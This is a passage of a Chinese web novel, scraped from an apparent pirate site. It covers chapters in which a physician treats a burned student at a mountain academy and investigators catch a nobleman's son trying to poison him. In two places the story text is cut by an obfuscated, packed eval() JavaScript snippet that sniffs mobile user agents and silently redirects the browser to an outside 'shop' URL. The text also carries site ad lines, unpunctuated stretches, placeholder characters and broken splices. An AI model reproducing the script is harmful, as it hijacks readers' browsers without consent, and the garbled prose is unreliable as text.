p>西厢之中,怀夕刚进门也轻声道:“奴婢想的和宁公子想的一样,范家一家子皆是无辜,可怜范长佑,也可怜了范林夫妻爱子心切,他们二人也是伉俪情深,就这么葬身山崖了,那付宗源也不知会不会死刑……” 姜离正在更衣,摇头,“难。” 怀夕顿时瘪嘴,“那我更要为他们叫屈了!这朝廷法度有什么天理,害了那一家子的恶人反倒能活命!” 见她气鼓鼓的,姜离向她招手,待到了近前,姜离又倾身在她耳畔轻语一句,话音刚落,怀夕大喜起来,“当真吗姑娘?太好了!”- 翌日清晨,裴晏起身时天色尚蒙蒙亮。 他推窗往西厢看去,见门窗紧闭着便放下心来梳洗,一旁九思见状道:“公子,您是不是以为薛姑娘还未起身?” 裴晏脚步一顿,“难道不是?” 九思抓了抓脑袋道:“她们一炷香功夫之前已经起身了,这会儿,薛姑娘好像去看柳元嘉了。” “柳元嘉?”裴晏愕然,他目光一转看向东厢,“去把宁珏喊起来!” 同一时间的听泉轩中,神志不清的柳元嘉已经清醒,这会儿一边看姜离给他扎针,一边有气无力地与柳明程回忆着昨夜的动乱,“差一点儿,就差一点儿,那贼人若是把我也拽下去,我可真是活不成了——” 柳明程一夜只睡了两个时辰,这会儿眼下青黑地在旁候着,“说什么呢,父亲怎会让那贼人把你也拽下去?” 柳元嘉人虽清醒,身上棘刺伤口和柴刀之伤却是痛极,姜离每扎一下,他便要痛哼一声,姜离便也道:“柳公子不必害怕,你昨夜受惊后又中毒,此刻脑海里多半全是昨夜惊险的记忆,会尤其恐惧,但其实你不妨多‘胡思乱想’一番,反而会冲淡恐惧,昨日那范林二人也是巧了,刚好到了石刻崖,若是上青云崖,我看还稳妥些。” 柳元嘉对姜离多有感激,态度也颇为和善,闻言他眼皮跳了跳,“姑娘有所不知,那青云崖其实也很险……” 姜离微讶,“怎会?北面是 点将台,东面是武库,西面……西面倒是只有围墙,但我前次去时,听见崖边并无风声呼号,想来山势颇缓。” 柳元嘉忙道:“那里可不缓,那西崖之下虽不是百丈深渊,可最近的坡地也有□□丈高呢,便是武林高手跌下也得重伤。” 姜离最后一针扎下去,又问:“咦,难道那里也出过事?” 柳元嘉一愣,“那里,不、不算……” 柳元嘉言辞磕绊,更是选择了隐瞒,姜离正要再问,裴晏的声音在门口响起来,“人已经醒了?” 他大步而入,见柳元嘉果真醒了,径直问:“既然醒了,便说说昨夜你是如何被范林带出北门的吧。” 柳元嘉眼眶微缩一下,“我,我被他骗了——” 裴晏继续问:“如何被骗?” “他、他是用……是用方院监做借口,说方院监有事请我帮忙,就在碑林处,我在书院数年,当初那碑林有些古碑还是我家捐赠的,我信了,便随他同去了……” 柳元嘉眸光簇闪,显然并未说真话,裴晏还要再问,外头宁珏高声道:“师兄!孔昱升醒了,快来——” 姜离蹭地起身,柳元嘉也下意识抬了抬肩膀,奈何这一动牵扯伤处,直疼的他龇牙咧嘴,姜离余光扫过他紧张之状,这才跟了出去。 作者有话要说 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 第 167 章 或将疯傻 第167章或将疯傻 入文华阁时天色已大亮,姜离与裴晏疾步入西厢,进门便见方青晔和张伯在唤孔昱升名字,见他二人来了,张伯忙让开路,“薛姑娘,他醒了!” 姜离近前,便见孔昱升果然睁开了眸子,喉间也“嗬嗬”有声,但因他喉腔灼烧严重,此刻难出声,更一张嘴便疼的额上冒汗。 姜离倾身为他请脉,方青晔在旁着急道:“这孩子醒了动也动不得,说也说不了话,就眼珠儿能动,我问什么,他像是听不明白似的,给不出任何回应,薛姑娘,这是怎么回事?难不成那大火真的伤了他智识?” 孔昱升盖着锦被,因面部被灼伤,此刻白棉斜斜绕过后脑将其右脸包裹了住,除了一双会动的眼珠子,只有他露在外的右手能轻微活动,然而其右臂也被烧伤,此刻同样裹着厚厚的白棉。 姜离问脉片刻,又倾身检查其口鼻眼耳等处,很快拧眉道:“情况有些不妙,怀夕,去拿针来——” 张伯和方青晔对视一眼,裴晏和宁珏也忧心起来。 方青晔着急道:“薛姑娘,到底怎么个不妙法?他身上的烧伤严重之地都在四肢,这怎么也不会伤到脑袋,更不会致命啊!” 姜离摇头:“他的烧伤可治,但院监莫要小瞧那些浓烟,前夜大火,他被困楼中至少一炷香的时辰,已吸入了大量浓烟。院监可听闻每到冬日都有人因烧炭火而丧命?那火炭的烟气尚能夺命,藏书楼内的浓烟火灰更是如此,那些浓烟带着火毒外邪入侵,致使其肺失宜降,气机不畅,待外邪入心入脑,便会伤其智识。” 方青晔惊道:“倒是听说过,那如今怎么是好呢?” 姜离盯着孔昱升轻颤的眼睫,“其脉细数无力,又见惊动如豆,再看其此刻外感有失之状,火邪入脑已是肯定之事了——” 方青晔微骇,“可还能救?!” 姜离深吸口气,神色万分凝重起来,“极难,今日和明日乃是他最关键的两日,若救过来了往后如常习文进学,若没有救过来,那他往后便可能成为痴儿甚至是疯子,连起居也难自理。” “痴儿疯子?!”连张伯都吓了一跳,“那他那满腹才学岂不是……” 张伯痛心不已,方青 晔忙问道:“那姑娘有几分把握? 姜离一默,“只有两分。 方青晔眼前一黑,正要说话,孔昱升不知怎么身子忽然颤动起来,又看得众人心惊肉跳,姜离连忙将他肩头按住,又吩咐怀夕,“针囊—— 方青晔紧张道:“他这是怎么了? 姜离沉声道:“他神志已失,半梦半醒之间听见了外界之声,这是在无端挣扎,便如同疯症之人忽然发起了疯一样—— 方青晔心急如焚,恳求道:“请姑娘救他,他今岁才至弱冠之年,若是就此毁了这辈子实在是可惜。 怀夕递上银针,姜离道:“我此刻施针要用师父所传秘法,请诸位回避吧。 方青晔和张伯不觉有他应声而出,裴晏看了看姜离,也转身出了房门,宁珏最后一个出来,待合上门近前道:“师兄,施针也有秘法? 裴晏颔首,“自然。 宁珏缓缓点头,这时不知想到什么,轻哼道:“也是,不过薛泠这秘法,和那些故弄玄虚之辈可不同—— 裴晏敏锐道:“你所谓何人? 宁珏面色微冷,“自然便是那什么号称自创了可比再世华佗的九针八针之辈咯…… 宁珏所言正是当年的广安伯府,裴晏叹了口气,“当年魏氏先祖以医道救了太祖陛下,又以医道解了军中时疫令外敌难侵,他们的医术并无假。 宁珏哼道:“我自然知道,医术并无好坏,坏的是人心罢了。 裴晏心知宁珏之恨,往门口方向看了一眼,也不再多言,几人正在廊下候着,忽然九思快步而来,“公子—— 裴晏快步行至中庭,“如何? 九思警惕地看了周围一圈,倾身在裴晏耳畔轻语两句,裴晏剑眉拧起,“竟是他? 九思颔首,“公子,接下来如何办? 裴晏沉吟一瞬,“暗暗去查他们上山时所带随身之物,还是莫要打草惊蛇。 九思应是,“小人明白。 他转身而去,刚走出院门,江楚城和王喆、薛琦几人一起进了院子,裴晏见状忙上前做礼。 江楚城道:“如何?听说那孩子醒了? 裴晏叹道:“人是睁开眼了,但薛姑娘说伤了脑子,近两日是 关键,若能救得下来,还能如常人一般,若救不了,或许会痴傻疯癫。 众人听得倒吸一口凉气,王喆唏嘘道:“前两日我刚来时,看过那孩子的文章,写的极好,就这么痴傻了那也太可惜了,那放火之人可找到了? 裴晏摇头,“如今线索寥寥,还要再查。 薛琦这时上前半步,“会不会是意外起火呢?书院生了命案,怎么还会有人放火?这也太巧了些。 高从章和高晖跟在最后,高从章便道:“裴少卿,此案若以人为论处,那我们这些人是不是也不能下山离开? 裴晏点头道:“不错,孔昱升受伤颇重,不能轻慢处之。 高从章无奈起来,“这可真是,上来已经耽误五日了,如今春试都取消了,老先生又在病中,我们这么久留也不是个事啊,各个衙门还忙着呢。 裴晏面色不改,“我会尽快查明。 江楚城见状捋了捋胡须,淡笑道:“查清楚也好,免得一把年纪了还不清不楚的,那老朽下山了心里也不自在,你多尽心,我们去看看老先生。 裴晏应是,江楚城一行径直往上房而去,他目光落在几人背脊之上,只听见西厢屋内有声方才返回西厢。 “啊……啊啊…… 裴晏刚一进门,便听见孔昱升开口之声,定睛一看,他精神比片刻前好了些许,只语难成句,愈发像姜离说的智识已有损。 方青晔闻声快步近前,“孔昱升?你认得出我吗? “啊……方……生…… 孔昱升艰难地开口,方青晔听见“方字本是惊喜,可一听“生字一颗心顿时跌落谷底,书院内的学子无人称呼他“方先生,皆是“方院监,他如此言辞,分明是记忆模糊,神识混沌。 方青晔大失所望,张伯也近前道:“孔公子,你认得老奴吗? “奴……伯…… 张伯一愕,“这……他这是知道,但又记不清了? 裴晏上前问道:“孔昱升,你可认得我?藏书楼失火之时,你可见过放火之人? “有……火…… 众人一惊,裴晏忙问:“有人放火?可看清是何人? “是……男……学…… “是男 学子?”方青晔等不及接话“这书院里头如今都是男学子你倒是说名字啊可看清那人样貌了?” 孔昱升呼吸粗重起来“男……火、大火……书……” 他语不成句众人听得云里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464891|108220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雾里一时不知他是不是在答问宁珏一头雾水道:“男的放火?用书放火?还是大火烧了书?” “啊……啊啊……” 宁珏所问落定孔昱升又挣扎起来露出一半的面上更满是惊恐见他双手胡乱地摆动姜离连忙将人按住“先别问了他如今受不得刺激一旦受了刺激便要功亏一篑此外今日的方子我要再改请张伯亲自照料他不得出一点儿差错。” 姜离一按孔昱升慢慢平静下来她便叹道:“他如今所剩智识本就不多一个不对便会彻底溃败不能有人打扰也不能用错药张伯定要小心。” 姜离看了一圈屋子又往窗外瞧了瞧“老先生这里每日都要待客一直用张伯的屋子也多有不便我看不如给他换个安静的地方换去得真楼或者幽篁馆最好。” 裴晏闻言立刻道:“换去得真楼东厢吧宁珏晚些时候回长安。” 宁珏快要跳脚“哇师兄!我可没说走啊那我去上房歇!” 方青晔叹了口气“那就去得真楼吧江老先生和王大人住在二楼一楼还有三间空屋子呢这会儿便送去?” 姜离颔首“现在送罢。” 方青晔应好立刻喊了四个斋夫来连罗汉榻一并抬起这动静不小刚出厢房便惊得上房众人出来探看待出文华阁更是引得晨起的学子们同来围看因裴晏和方青晔在众人不敢近前只一片张望一边议论纷纷。 到了得真楼一行人将孔昱升送入了东厢房中换了屋子姜离又给孔昱升喂下一颗随身带来的暗红丹丸不多时孔昱升便平静地睡了过去。 姜离寻来笔墨很快写下一张医方道:“请张伯看看其上所用之药书院药房皆有但禁忌之物绝不可用。” 张伯看完惊道:“辛辣老奴明白但连茶水也不得用?” 姜离颔首又眼含悲悯地看向孔昱升“对他而言连茶水都是刺激立刻去煎药罢今日用药三次之后到了晚上他应能多说几个字但到底能不能彻 底清醒,还要看明天施针用药之后如何,方院监,除了张伯,只怕还得派个人守在外头,这里绝不能离人。” 张伯应好,方青晔也连忙安排人手。 如此看完出来,宁珏忍不住道:“他如今这般模样,只怕也无法提供什么线索了,但刚才那回答又像是看到了什么人,这可如何是好?若他真的呆了疯了,那岂非只能靠我们自己找证据了?” 小说的域名qiexs?(请来企鹅 小说 看最新章节 完整章节) 裴晏眉眼间多有凝重,看向姜离时忽然动了动肩膀,“薛姑娘可能帮我看看旧伤?” 宁珏一愣,姜离也有些意外,见方青晔和张伯都看着自己,她很快颔首,“自然。” 裴晏便迈步道:“回幽篁馆吧。” 幽篁馆就在不远处,姜离便也跟了上去,宁珏站在原地不明所以,又对方青晔道:“师兄这……也不知怎么了,前夜还不愿让薛姑娘帮忙医治呢。” 方青晔失笑,低声叹道:“他性情像极了老先生年轻的时候,很不解风情呢。” 宁珏十分赞同,正要附和两句,忽见藏书楼方向门夫王大成快步跑了过来,“院监!大理寺来人了——” 方青晔几乎怀疑自己听错了,“大理寺?裴少卿不是在此吗?” 王大成连忙道:“就是来找裴少卿的!说带来了陛下的口谕要传裴少卿回长安,要立刻见他——” 宁珏匪夷所思,“回长安?!” 作者有话要说 第 168 章 引蛇出洞 第168章引蛇出洞 “大人,陛下昨日已经知道了吏部侍郎付宗源及其子于麟州书院谋害同窗之事,陛下震怒,令大人捉到凶手之后,速速带着付宗源回长安面圣。” 幽篁馆院中,前来传令的大理寺司直王奕安恭敬地道明景德帝口谕。 裴晏和宁珏听得一惊,裴晏道:“陛下何以如此快便知付家之事?” 王奕安摇头,“这个属下不知,但昨日陛下传了寺卿大人入宫,口谕是寺卿大人带出来的,但他有病在身,便派了小人们前来传话。” 大理寺卿金桓年过半百,去岁旧疾复发一病不起,也是如此,裴晏才得了来大理寺历练的机会,自裴晏上任,金桓已病休在家,整个大理寺皆由裴晏做主。 宁珏忍不住道:“昨日?我们可是昨天晚上才抓到凶手,这也是巧了!” 裴晏面色微沉,“陛下说何时回长安?” 王奕安道:“口谕说的是‘立刻’,陛下要见付宗源。” 方青晔呆了住,“虽说付家的案子破了,可如今十安他们还没回来呢,还有,藏书楼的火也没查清楚,鹤臣这若是一走,我们其他人自己查?” 王奕安轻声道:“大人,陛下于朝上大怒,您还是早早回去为好。” 裴晏略一思忖,“无论如何得等十安回来。” 方青晔欲言又止,裴晏看向姜离道:“若是如此,那只能留姑娘在山上救人了,我今日连夜面圣,明日再返回书院。” 姜离不置可否,“有方院监照顾,裴少卿不必担心。” 宁珏闻言忙道:“师兄放心,我先留下照应。” 裴晏剑眉蹙起,略一犹豫,到底未多说什么,方青晔苦着脸道:“好吧好吧,圣上的旨意比什么都要紧,耽误薛姑娘两日,等明日看看孔昱升的情状,若不成了,姑娘尽可归家,我们下山请别的大夫来治他。” 姜离道:“院监不必客气,他这病状我极少遇见,我也愿意医他,大好的年纪,我也不愿见他变做个痴傻儿——” 话说至此,方青晔犹豫片刻道:“若明日他真的智识有损,之后便再也治不好了?” 姜离颔首,“很难。” 方青晔忧心道:“但 从前我们书院有位学子,幼时大病一场损了智识,待到了十七八岁上病情却有了好转,这是为何?” 方青晔说的正是魏旸,姜离听得胸腔一窒,默了默才道:“幼时有损与成年后受伤多有不同。” 方青晔不由唏嘘,“那只能看这孩子的命数了。”- 直等到午时十安一行方才归来,同行的还有袁氏武卫,于大讲堂回禀。 小说的域名qiexs?(请来企鹅 小说 看最新章节 完整章节) “公子,袁将军,我们寅时到的山崖之下,顺着崖底的溪流一路往北搜了两个多时辰,直到天亮也没有找到范林夫妻的尸首,后来我们又往山上搜了一个时辰,还是没有找到,小人怀疑他们的尸体要么沉入了沼泽之中,要么便在半山崖的木林之中,但山势太高,崖底范围颇大,我们这十多人短时内只怕难寻,便先一步回来报信了。” 十安话音落定,袁氏武卫道:“若是召集书院学子和所有杂役一并下山搜索,或许能在一两日内摸排完,否则便只能调兵来了。” 裴晏看向袁兴武,“袁将军如何看?” 袁兴武叹了口气,“无论是死在半山崖还是尸体入了沼泽都不重要了,当初是袁焱几个有错在先,今日回了长安,我也会向陛下负荆请罪。” 裴晏便对十安道:“早间来了人传陛下口谕,命我今日带着付宗源回长安复命,因此组织书院之人搜山是来不及了,袁将军若不再追究,大理寺也不再去搜索那二人尸体了,先回长安见圣上要紧。” 十安有些意外,裴晏又道:“袁焱的尸体袁将军带回,你们将付怀瑾的尸骨收敛起来,再带上所有证供,我们两炷香的时辰之后出发。” 九思与十安领命而去,袁兴武也令侍从去敛袁焱遗体,方青晔陪在一旁,叹道:“虽说一切皆因当年之事而起,但两个孩子在书院遇害,我们也需担责,如今……” “方院监无需自愧,此事成如今的局面,我无话可说,院监就更无需如此,老先生尚在病中,这事既然已经了了,我们也就不打扰了。” 袁兴武虽为武将,却是十分通情理,方青晔心底暗暗松了一口气,“付大人那边——” “怀瑾毕竟是他的亲生孩子,敏德如今尚在执念,不过院监不必担心,他也快自顾不暇了,想来也不会问罪书院,此事说到底和书院也无干系。” 袁兴武此言既出 裴晏瞥他一眼“我会尽快回来。” 再“尽快”也得明日傍晚才能上山宁珏志在必得道:“师兄就等着看吧!” 裴晏摇了摇头只去文华阁与方老先生作别。 方伯樘已知道了景德帝口谕之事自然不敢多留而见他要走薛琦不禁叫起苦来“哎这算什么事儿啊咱们就这么困在山上了?陛下既然已经知道了付大人之事那可也知道失火的事了?裴少卿到了陛下跟前可要说个清清楚楚。” “薛中丞放心定然据实以告不敢欺瞒陛下。” “不是我——” 薛琦欲言又止却到底不好多言其他人面面相觑一瞬也不敢在面圣之事上做文章。 裴晏继续道:“至于放火早间孔昱升断续说过几字似乎看到了放火之人只是如今他火毒入脑神志不清还需薛姑娘医治。薛姑娘医术高明明日便可知孔昱升是否真的疯傻若他能清醒过来道明放火元凶那诸位无罪者尽可下山若他呆傻了仅凭现在的线索也难确定凶手诸位也可先行下山免得耽误公务。” 这便是说所有人最多再多留一日明日一切都可见分晓薛琦几人松了一口气倒也接受了此安排。 说了一炷香的话外头众人已准备万全方青晔和宁珏亲自送他和袁兴武出山门。 姜离只跟着到了大讲堂之前目送着一行人出了二门。 他们离去的动静不小学子们也纷纷出门探看如今命案初定纵火之事却未明书院不曾复课学子们便也自由许多姜离看了片刻正要回得真楼却见薛湛面上堆笑地走了过来“阿姐——” 他也看向二门方向“阿姐裴世子怎么就走了?你和父亲何时回去?” “明日明日孔昱升之伤病便会分明若他知道凶手是谁便再好不过到时候我和父亲便可径直下山了。” 姜离话音落定薛湛道:“那阿姐治好她有几分把握?” 他们姐弟二人在廊下说话不远处一众学子不时 朝他们看来姜离忧心道:“只有三两分把握……” “两三分!”薛湛拔高了声量见姜离皱眉又忙低声道:“那如何才能治好他呢?” 姜离叹了口气“我自会尽力余下的只看他的造化若他能清醒一时片刻也是好的这么大的火放火之人一定恨极了他他自己只怕也不甘心。” 姜离说着又道:“你和他关系不错?可要去看看他?” 薛湛连忙点头“那当然好。” 姜离颔首遂往校经堂方向走过甬道沿着青石小径一路往北没多时便到了得真楼前张伯和张穗儿都守在此见她回来张穗儿忙道:“姑娘刚才孔昱升又醒了但他似乎很痛只一个劲儿的哼哼我们问什么他也不给回应。” 姜离闻言快步进东厢果见罗汉榻上孔昱升眸子徐徐闭着额上薄汗溢出显然这烧伤十分难捱。 姜离走近为他号脉很快倾身道:“孔昱升?你可听得见我说话?我施针用药都尽了全力如今你自己的意志最为紧要想想那放火害你的凶手你若是就此失了神志岂非让那凶手逍遥法外?你知道谁要害你的你定要自己清醒过来!” 姜离字字铮然孔昱升听闻眼睫剧烈地抖动起来张伯看的清清楚楚有些激动道:“这莫非是听懂了?若他听得懂那他彻底醒来的希望是否更大?” 姜离颔首“确是如此今日得不断有人与他说说话才好。” 说至此姜离回头“二弟你要来喊喊他吗?” 薛湛一愣连忙摆手“我就不了我就不了 孔昱升的伤虽被包裹但白棉边缘仍能看到大片燎泡薛琦说着侧了侧身实在不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464892|108220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忍心看张伯叹道:“薛公子没见过这样的伤怕也是正常的。” 薛湛背脊紧绷又往罗汉榻上瞟了两眼“我、我明日再来吧等他好些了我再来与他说话阿姐可要好好治他。” 他说着快步而出张穗儿望着他背影咕哝道:“这也太娇贵了……” 话音刚落被张伯轻拍脑袋“胡说什么!” 张穗儿吃痛地“哎哟”一声这才想起薛湛与姜离乃是姐弟他不好意思起来姜离莞 尔道:“穗儿说的没错,我这个弟弟是父亲唯一的儿子,自小的确被娇惯坏了。 张伯赔笑道:“世家公子皆是金尊玉贵的。 姜离失笑,只道:“用药上还请张伯尽心,这白日里我和怀夕留在此看着,到了晚上张伯再来吧。 张伯不禁道:“姑娘放心,煎药是我看着,如今药罐子锁在厨房,旁人动不了,让姑娘看着不合适,还是我和穗儿在此—— 姜离忙道:“您不必客气,我留下就是为了给孔公子看病,昨夜您没怎么歇息,白日便交给我吧。 见她坚持,张伯只好从善如流,二人刚离去,宁珏大步进了屋子,“如何了?还是神志不清? 姜离点头,又道:“裴少卿走了,只怕那纵火的凶手会蠢蠢欲动,今日除了张伯他们,宁公子也得多上上心才好。 宁珏道:“那是自然!我适才已经和方院监交代过了,今日我和赤霄继续调查,你就负责医治他—— 姜离微讶,“你要如何调查? 宁珏道:“看谁与孔昱升有过龃龉,再去他房中搜查一番,眼下时辰尚早,我先去前头采证,只等着孔昱升清醒那就太孤注一掷了。 姜离欣然赞成,“也好,那宁公子自去吧。 宁珏兴致勃勃转身而走,走出一步又回头,“哎,这里没外人,你怎么总是‘宁公子’的叫我—— 姜离眼也不眨道:“谨慎为上。 宁珏一时语塞,又拿姜离没办法,只好悻悻而去。- 姜离守了整日,黄昏时分张伯与穗儿来时,便见姜离满面疲惫,张伯极不好意思,忙让穗儿去取膳食送入幽篁馆。 “时辰不早了,姑娘用完膳可今早歇下,今夜我守在此便可,姑娘放心,我照顾了老先生一辈子,照顾病人的事我十分在行。 姜离自然信得过张伯,“既是如此,那我明晨早早过来施针。 交代两句后姜离自回幽篁馆,待用完晚膳便已近了二更,没多时,宁珏一脸疲惫回来,姜离迎出来道:“如何?可查问到什么了? 宁珏哑着嗓子道:“别提了,问了一整日证供,我人都问傻了,还有几个人没问完,却也没问出关键线索来,不过,我去孔昱升屋内查看了一番,发现他一应用 度都并不算差,方院监说他出自胥吏之家,这可不像。 姜离往学舍方向看了一眼,“你离开之时可锁门了? 宁珏颔首,“当然,师兄交代过。 见他一副腰酸背痛之态,姜离便道:“那不必问了,剩下几个人明晨再问好了,反正裴少卿至少也是下午才会回来。 宁珏略一犹豫,“那也好,那你也早些歇下。 姜离应好,随即入西厢更衣而眠,很快,整个幽篁馆都陷入了寂静之中。 夜凉如水,不远处的得真楼内,江楚城师徒二人居于二楼,也一早就熄灯歇下,一楼东厢之中,张伯合上门,靠在西窗之下翻着一本泛黄书册,他一边翻看一边往北面靠墙的罗汉榻上瞧,见孔昱升呼吸平缓也略安下心来。 案几上一灯如豆,随着时辰流逝,灯花噼啪作响,张伯意识也昏沉起来,他强撑着打起精神,直到某一刻,一丝若有似无的烟气自西窗一角流泻而入,张伯身子晃了晃,继而软软滑倒在了长榻之上。 窗内外寂静片刻,忽然,一抹银芒自窗扇间探入,上下挑动后,夜风随着应声而开的窗扇“噗地吹熄了灯火,紧接着,一抹身影悄无声息地跃进屋内。 罗汉榻上,本昏寐不醒的孔昱升有所感应一般睁开眸子,看着越来越欺近的黑影,他惊恐地出了声,“是、是你—— 作者有话要说 第 169 章 乱上加乱 第169章乱上加乱 听到孔昱升开口,来人脚步微顿,似没想到他竟醒了。 而见他驻足,孔昱升心底恐惧更甚,立刻嘶声喊道:“来人,救、救命——” 他拼尽了全力,可也只有嗓子眼里挤出来的一点儿气声,意识到不妙,他瑟瑟地往锦榻一角缩去,“不、不要过来,我、我已经重伤,我神志已损,你……你何必多此一举,我、我不会乱说的……” 他急于自救,话语里满是哀求之意,但越是紧张,嗓子越哑似蚊蝇,莫说已经陷入酣睡的其他书院之人了,便是屋内的黑影都听不清他的言辞,而他这幅重伤可怜、奄奄一息的模样,对来人而言,更似砧板上的鱼肉任他宰割。 忽然,来人嘲弄地轻笑了一下。 听到这笑声,孔昱升带上了哭腔,“你、你此刻杀我,不、不可能毫无破绽,本来……本来明日他们便要下山了,你何故如此?我如今不过是一个废人,你此来简直是自曝己短,你……你不能杀我……” “谁说我要杀你?” 来人轻蔑地开了口。 孔昱升一愕,颤声道:“不杀我?那你来此是做什么?你身份贵重,我于你不过是一微贱蝼蚁,你何必赶尽杀绝?” “赶尽杀绝?你看你,你现在脑子不是很清醒吗?” 来人说着话,脚步缓动,朝罗汉榻越靠越近,“虽说薛泠只有三两分把握治好你,可我和元嘉可不敢堵这两三分可能,如今听你言辞,可见我来的是对的——” “不,不不,就算我没有真的疯傻,我往后也入不了科场,也成不了什么气候了,我会回老家,会消失,你尽可安心,求你——” 孔昱升哀求更盛,来人却冷冷道:“安心?怎么可能安心?除非——” 他往袖中摸去,很快手中多了一物,“除非你真的变成个疯子。” 孔昱升呼吸急促起来,“你、你要下毒?” 眼见来人越走越近,孔昱升抖若筛糠道:“不,有薛姑娘在,下毒也会露出破绽,她会救我……届时我就是拼了命也要将你和柳元嘉的丑事揭在人前,你若……你若现在放我一马,我明日自会是个傻子疯子,求、求你了——” 见来人毫 无手下留情之意,孔昱升拼尽最后一点儿力气,“不,你不会成事的,有薛姑娘在,除非、除非你毒死我…… 来人行至罗汉榻边,又倾身拿起案头上放着的茶盏,一道窸窣之声后,来人倾身,一把揪住孔昱升拖到自己面前,离得近了,孔昱升方看清了眼前这张熟悉又陌生的年轻男子的眉眼。 他怕的牙齿“咯咯 “不,薛姑娘会发现,她—— 孔昱升奋力仰着脖颈,来人却已捏着茶盏递送到了他嘴边,见他如此反抗,来人兴味一笑,“只要入你口中,便无人能发现,八年前就在这书院之中,曾有一个同样半痴半傻之人试过,这么多年了也无人发现,你安心去吧—— “八年前?八年前你害了谁?你—— 孔昱升厉声喝问,来人却没了耐性,只毫不留情地将冷茶往他口中灌下,可就在这刹那,“啪的一声巨响,紧闭的正门被人踢开,几乎是同时,一道破空声来,黑影手中茶盏应声而碎,他尚未反应过来,冰冷的剑刃已经架在了他脖颈之上。 “兵刃无眼,可千万别动。 十安冷冷的话语声落定,孔昱升大口大口喘着气,连忙往罗汉榻里缩去,“你、你们来的太慢了,我—— 他早已怕的满头冷汗,但此刻,如石雕般僵在原地之人比他更怕,他不敢置信地看着十安,眼底惊惧非常。 正门之外,十多道身影打着四五火把,皆目光冰冷地注视着他,当首之人,赫然便是裴晏和姜离。 “怎么可能,你不是被圣谕召回—— 他话音未落,得真楼之外响起了大片的脚步声,薛琦的声音最为响亮。 “这么晚了当真捉到了凶手?!这也太折腾人了! 又听柳明程道:“我本就歇下的晚,我倒要看看是谁放的火—— 顷刻之间,正门之外涌来了更多道身影,薛琦一见方青晔早就到了,惊讶道:“方院监,凶手当真已经抓到了? 方青晔面色铁青,后面的高从章道:“还真有人如此赶尽杀绝?咦,裴世子不是走了 吗?怎么这是——” 所有人都看到了裴晏,待进得正门,方看到被十安执剑挟持之人,来人身量高挺,着一袭玄色锦袍,面覆黑巾,但只瞧其身形和绾起的发冠,莫名给人熟悉之感。 薛琦进门站在最前,定睛一看道:“咦,怎么看着有些眼熟?” 裴晏这时道:“诸位来的正好,请诸位同来见证,是为了让凶手无话可说,适才凶手先迷晕张伯,又翻后窗入屋内行凶,被我们抓个正着,除了我和薛姑娘、宁珏几人之外,还有江老先生与王侍郎皆是见证。” 住在得真楼的江楚城和王喆也一早被安排在了厢房之外,此刻江楚城道:“凶手到底是何人,又为何谋害孔昱升,到了此刻,也该说个清清楚楚了!” 裴晏对十安点头,十安一把扯下了来人面巾。 “少康?!怎会是你?!” 室内诡异一静后,高从章惊恐的喝问响了起来,薛琦一愣,也不禁道:“世侄!怎、怎会是你啊,这,这莫不是有什么误会?!” “一定是有误会!”高从章上前两步,恼怒道:“少康好好的来观礼,这两日一直规规矩矩,他怎么可能放火杀人?!这定是误会,裴少卿,你——” “高大人稍安勿躁。”裴晏冷冷开口,又看向高晖,“高晖,是你自己说?还是孔昱升帮你说?” 站在罗汉榻前的人正是高晖,他本为宾客,如今却成了放火凶手,莫说是高从章,便是方青晔适才都不敢置信。 高晖面白如纸,唇角紧抿,额上亦生薄汗,“这、这确是误会,我来此不过是为了探看孔昱升,我——” 姜离定定地盯着高晖,此刻上前去,在那满是冷茶的罗汉榻上查看一番,很快道:“此毒名为三日醉,对寻常人而言,此毒形同迷药,还有壮阳娱兴之效。但里面的山豆根、雷公藤、朱砂等毒物却对患有癔症、精神本就错乱之人毒性加倍。我白日里说孔昱升被火邪伤脑,或会疯傻,但我也有两三分把握治好他,若能治好他,那由他自己指认凶手是再好不过。而如果今夜孔昱升服下了此毒,那明日里,他便会真的变成痴傻之人,届时他会忘记凶手是谁,且即便记得,因他言语无状,众人也不会采信他的话。” 姜离话音落定,薛琦蹙眉道:“泠儿,你到父亲身边来。 高氏是贵妃母族,虽说高晖父子乃是定西侯庶出二房,但今日高晖之罪若论定,那势必会影响高氏名声,薛琦做为太子岳丈,自不会在此时落井下石。 姜离闻言欲言又止,裴晏这时近前道:“薛姑娘医者仁心,既辨明了毒,余下之事交给我便是—— 二人四目相对一瞬,姜离这才迈步站去薛琦身边。 裴晏便道:“孔昱升,高晖自己不说,便由你来说清楚一切吧—— 孔昱升本就不是好相与之性,如今去鬼门关走了一趟,又得裴晏相护,自然不会手软,他嘶声道:“这一切,都要从三日之前,我于子时前后回学舍所见说起,我当时从文华阁方向回学舍,可没走几步,却忽然起兴想从君子湖那一侧走,于是我自藏书楼东面过去,我怎么也没想到,刚上廊道,便瞧见二人在风雪亭中交缠在一起,仔细一看,还是两男子,再仔细一看,还都是我熟悉之人—— 众人听得瞠目,高从章道:“你,你是说—— 孔昱升嘲弄地一笑,又嘶声道:“高大人想的没错,这其中一人正是高公子,而另外一人嘛,正是与我同窗两载的柳世子—— “什么?!薛琦惊得下巴掉在地上,“你是说柳元嘉?高贤侄和柳氏子,他们—— 